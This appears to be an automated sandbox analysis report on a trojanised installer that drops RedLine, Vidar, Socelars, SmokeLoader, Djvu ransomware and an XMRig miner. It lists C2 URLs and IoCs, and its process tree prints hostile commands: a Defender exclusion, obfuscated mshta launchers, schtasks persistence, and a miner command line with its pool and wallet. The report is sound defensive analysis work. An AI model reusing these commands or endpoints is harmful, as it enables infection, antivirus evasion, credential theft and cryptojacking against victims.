djvu | 291505b584fdf540a1590ce7181d85cee7967f99cbf05aeb7b7031b6a9b4f2cd

Resubmissions

11-09-2021 20:41

210911-zgxftsbgc5 10

11-09-2021 20:33

210911-zb49gsegcq 10

Analysis

max time kernel
18s
max time network
1837s
platform
windows7_x64
resource
win7v20210408
submitted
11-09-2021 20:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_x86_x64_install.exe
Size

3.4MB
MD5

f59a5fd82eaf0088e7853c09922ce477
SHA1

969d1debc32996a4d53c4a36d2241511cb8b77ec
SHA256

291505b584fdf540a1590ce7181d85cee7967f99cbf05aeb7b7031b6a9b4f2cd
SHA512

344192b08874df2cf922f782400435f109eb5bab7c3c582f4eb3fe328cadcb2d2c3ddd02ba816663168f9c997766f089731e657afe2cefb7bda773e6e6dca71c

Score

10^/10

djvu redline smokeloader socelars vidar xmrig 706 aspackv2 backdoor discovery infostealer miner ransomware stealer trojan

Malware Config

Extracted

Family

vidar

Version

40.5

Botnet

706

https://gheorghip.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32

Signatures

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2900	2624	rundll32.exe	68
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	2624	rundll32.exe	68
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3832	2624	rundll32.exe	68

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral3/memory/1964-243-0x000000000041C5E2-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 5 IoCs

resource	yara_rule
behavioral3/files/0x0003000000013106-101.dat	family_socelars
behavioral3/files/0x0003000000013106-153.dat	family_socelars
behavioral3/files/0x0003000000013106-147.dat	family_socelars
behavioral3/files/0x0003000000013106-177.dat	family_socelars
behavioral3/files/0x0003000000013106-176.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

rl_trojan 1 IoCs

redline stealer.

stealer

resource	yara_rule
behavioral3/memory/2912-357-0x0000000000680000-0x0000000000698000-memory.dmp	redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral3/memory/1292-320-0x0000000000320000-0x00000000003F1000-memory.dmp	family_vidar
behavioral3/memory/1292-321-0x0000000000400000-0x00000000017F2000-memory.dmp	family_vidar

XMRig Miner Payload 1 IoCs

miner

resource	yara_rule
behavioral3/memory/1472-358-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral3/files/0x00030000000130e8-76.dat	aspack_v212_v242
behavioral3/files/0x00030000000130e8-77.dat	aspack_v212_v242
behavioral3/files/0x00030000000130e7-78.dat	aspack_v212_v242
behavioral3/files/0x00030000000130e7-79.dat	aspack_v212_v242
behavioral3/files/0x00030000000130ea-82.dat	aspack_v212_v242
behavioral3/files/0x00030000000130ea-83.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 13 IoCs

pid	Process
1744	setup_installer.exe
1212	setup_install.exe
1608	Sat1946eb84e6.exe
1692	Sat19f84b58b3d7.exe
1072	Sat19e4750dd01.exe
1196	Sat196ac06a9e6.exe
1080	Sat19ba05e89ea6d406.exe
1596	Sat199ba8a4637dcb034.exe
1292	Sat19e6a852f849bb2.exe
1312	Sat19c6762a08beae.exe
1524	Process not Found
1460	Sat19ba05e89ea6d406.tmp
2052	LzmwAqmV.exe

Loads dropped DLL 43 IoCs

pid	Process
1624	setup_x86_x64_install.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1652	Process not Found
1144	cmd.exe
1144	cmd.exe
964	mshta.exe
1608	Sat1946eb84e6.exe
1608	Sat1946eb84e6.exe
1920	cmd.exe
760	cmd.exe
1848	cmd.exe
1848	cmd.exe
1200	cmd.exe
1200	cmd.exe
1604	cmd.exe
1072	Sat19e4750dd01.exe
1072	Sat19e4750dd01.exe
744	cmd.exe
1080	Sat19ba05e89ea6d406.exe
1080	Sat19ba05e89ea6d406.exe
1196	Sat196ac06a9e6.exe
1196	Sat196ac06a9e6.exe
1080	Sat19ba05e89ea6d406.exe
1292	Sat19e6a852f849bb2.exe
1292	Sat19e6a852f849bb2.exe
1460	Sat19ba05e89ea6d406.tmp
1460	Sat19ba05e89ea6d406.tmp
1460	Sat19ba05e89ea6d406.tmp
2052	LzmwAqmV.exe
2052	LzmwAqmV.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3124	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 18 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3725	ipinfo.io
4214	api.2ip.ua
274	api.2ip.ua
3724	ipinfo.io
2926	ipinfo.io
3000	ipinfo.io
3481	ipinfo.io
3964	ipinfo.io
4215	api.2ip.ua
12	ip-api.com
292	api.2ip.ua
3001	ipinfo.io
3391	ipinfo.io
3390	ipinfo.io
3482	ipinfo.io
3965	ipinfo.io
271	api.2ip.ua
2927	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
2988	1292	WerFault.exe	50
2496	2696	WerFault.exe	67
900	2324	WerFault.exe	58
2528	2208	WerFault.exe	56
2912	2436	WerFault.exe	61
300	2644	WerFault.exe	90
3556	1000	WerFault.exe	171
3528	3320	WerFault.exe	178

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
824	schtasks.exe
2604	schtasks.exe
3796	schtasks.exe
4012	schtasks.exe
1216	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2564	timeout.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
2900	taskkill.exe
1188	taskkill.exe
3648	taskkill.exe
3948	taskkill.exe
4084	taskkill.exe
2832	taskkill.exe
884	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Sat196ac06a9e6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Sat196ac06a9e6.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	Sat19f84b58b3d7.exe
Token: SeCreateTokenPrivilege	1196	Sat196ac06a9e6.exe
Token: SeAssignPrimaryTokenPrivilege	1196	Sat196ac06a9e6.exe
Token: SeLockMemoryPrivilege	1196	Sat196ac06a9e6.exe
Token: SeIncreaseQuotaPrivilege	1196	Sat196ac06a9e6.exe
Token: SeMachineAccountPrivilege	1196	Sat196ac06a9e6.exe
Token: SeTcbPrivilege	1196	Sat196ac06a9e6.exe
Token: SeSecurityPrivilege	1196	Sat196ac06a9e6.exe
Token: SeTakeOwnershipPrivilege	1196	Sat196ac06a9e6.exe
Token: SeLoadDriverPrivilege	1196	Sat196ac06a9e6.exe
Token: SeSystemProfilePrivilege	1196	Sat196ac06a9e6.exe
Token: SeSystemtimePrivilege	1196	Sat196ac06a9e6.exe
Token: SeProfSingleProcessPrivilege	1196	Sat196ac06a9e6.exe
Token: SeIncBasePriorityPrivilege	1196	Sat196ac06a9e6.exe
Token: SeCreatePagefilePrivilege	1196	Sat196ac06a9e6.exe
Token: SeCreatePermanentPrivilege	1196	Sat196ac06a9e6.exe
Token: SeBackupPrivilege	1196	Sat196ac06a9e6.exe
Token: SeRestorePrivilege	1196	Sat196ac06a9e6.exe
Token: SeShutdownPrivilege	1196	Sat196ac06a9e6.exe
Token: SeDebugPrivilege	1196	Sat196ac06a9e6.exe
Token: SeAuditPrivilege	1196	Sat196ac06a9e6.exe
Token: SeSystemEnvironmentPrivilege	1196	Sat196ac06a9e6.exe
Token: SeChangeNotifyPrivilege	1196	Sat196ac06a9e6.exe
Token: SeRemoteShutdownPrivilege	1196	Sat196ac06a9e6.exe
Token: SeUndockPrivilege	1196	Sat196ac06a9e6.exe
Token: SeSyncAgentPrivilege	1196	Sat196ac06a9e6.exe
Token: SeEnableDelegationPrivilege	1196	Sat196ac06a9e6.exe
Token: SeManageVolumePrivilege	1196	Sat196ac06a9e6.exe
Token: SeImpersonatePrivilege	1196	Sat196ac06a9e6.exe
Token: SeCreateGlobalPrivilege	1196	Sat196ac06a9e6.exe
Token: 31	1196	Sat196ac06a9e6.exe
Token: 32	1196	Sat196ac06a9e6.exe
Token: 33	1196	Sat196ac06a9e6.exe
Token: 34	1196	Sat196ac06a9e6.exe
Token: 35	1196	Sat196ac06a9e6.exe
Token: SeDebugPrivilege	1524	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1624 wrote to memory of 1744	1624	setup_x86_x64_install.exe	29
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1744 wrote to memory of 1212	1744	setup_installer.exe	30
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 1768	1212	setup_install.exe	32
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 760	1212	setup_install.exe	33
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1604	1212	setup_install.exe	34
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1652	1212	setup_install.exe	35
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1920	1212	setup_install.exe	36
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 1144	1212	setup_install.exe	37
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1212 wrote to memory of 964	1212	setup_install.exe	38
PID 1768 wrote to memory of 992	1768	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0D617825\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:992
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat196ac06a9e6.exe
      4⤵
      Loads dropped DLL
      PID:760
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat196ac06a9e6.exe
        
        Sat196ac06a9e6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1196
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2980
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat191649b47c9e2.exe
      4⤵
      Loads dropped DLL
      PID:1604
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat191649b47c9e2.exe
        
        Sat191649b47c9e2.exe
        5⤵
        
        PID:1524
      - C:\ProgramData\2077234.exe
        
        "C:\ProgramData\2077234.exe"
        6⤵
        
        PID:2208
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2208 -s 1736
        7⤵
        Program crash
        
        PID:2528
      - C:\ProgramData\591626.exe
        
        "C:\ProgramData\591626.exe"
        6⤵
        
        PID:2248
      - C:\ProgramData\2240607.exe
        
        "C:\ProgramData\2240607.exe"
        6⤵
        
        PID:2324
        
        C:\ProgramData\2240607.exe
        
        "C:\ProgramData\2240607.exe"
        7⤵
        
        PID:888
        
        C:\ProgramData\2240607.exe
        
        "C:\ProgramData\2240607.exe"
        7⤵
        
        PID:1964
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 720
        7⤵
        Program crash
        
        PID:900
      - C:\ProgramData\7024178.exe
        
        "C:\ProgramData\7024178.exe"
        6⤵
        
        PID:2404
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCrIPt: close (crEateobJeCt ("wsCRIpT.sHEll" ). RUN("C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\7024178.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If """"== """" for %l In ( ""C:\ProgramData\7024178.exe"") do taskkill -Im ""%~nxl"" /F " ,0 , TRuE))
        7⤵
        
        PID:2532
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\ProgramData\7024178.exe" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If ""=="" for %l In ( "C:\ProgramData\7024178.exe") do taskkill -Im "%~nxl" /F
        8⤵
        
        PID:2952
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -Im "7024178.exe" /F
        9⤵
        Kills process with taskkill
        
        PID:2900
        
        C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE
        
        C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9
        9⤵
        
        PID:2092
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCrIPt: close (crEateobJeCt ("wsCRIpT.sHEll" ). RUN("C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If ""-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 ""== """" for %l In ( ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"") do taskkill -Im ""%~nxl"" /F " ,0 , TRuE))
        10⤵
        Loads dropped DLL
        
        PID:964
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If "-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 "=="" for %l In ( "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE") do taskkill -Im "%~nxl" /F
        11⤵
        
        PID:2280
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\zyYHQ.U,xGNjygcjY
        10⤵
        
        PID:3056
      - C:\ProgramData\238975.exe
        
        "C:\ProgramData\238975.exe"
        6⤵
        
        PID:2436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 1016
        7⤵
        Program crash
        
        PID:2912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat1946eb84e6.exe
      4⤵
      PID:1652
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat1946eb84e6.exe
        
        Sat1946eb84e6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat199ba8a4637dcb034.exe
      4⤵
      Loads dropped DLL
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat199ba8a4637dcb034.exe
        
        Sat199ba8a4637dcb034.exe
        5⤵
        Executes dropped EXE
        
        PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat19e4750dd01.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1144
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19e4750dd01.exe
        
        Sat19e4750dd01.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1072
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sat19e4750dd01.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19e4750dd01.exe" & exit
        6⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sat19e4750dd01.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat19f84b58b3d7.exe
      4⤵
      PID:964
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19f84b58b3d7.exe
        
        Sat19f84b58b3d7.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1692
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2052
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        
        PID:2516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:2912
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:824
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:2244
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2016
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2408
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        
        PID:2636
        
        C:\ProgramData\3057965.exe
        
        "C:\ProgramData\3057965.exe"
        8⤵
        
        PID:2644
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2644 -s 1728
        9⤵
        Program crash
        
        PID:300
        
        C:\ProgramData\515307.exe
        
        "C:\ProgramData\515307.exe"
        8⤵
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        
        PID:2696
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2696 -s 1392
        8⤵
        Program crash
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:2732
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2444
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:1188
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        
        PID:2148
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        
        PID:1272
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        
        PID:2676
  - - C:\Windows\SysWOW64\cmd.exe
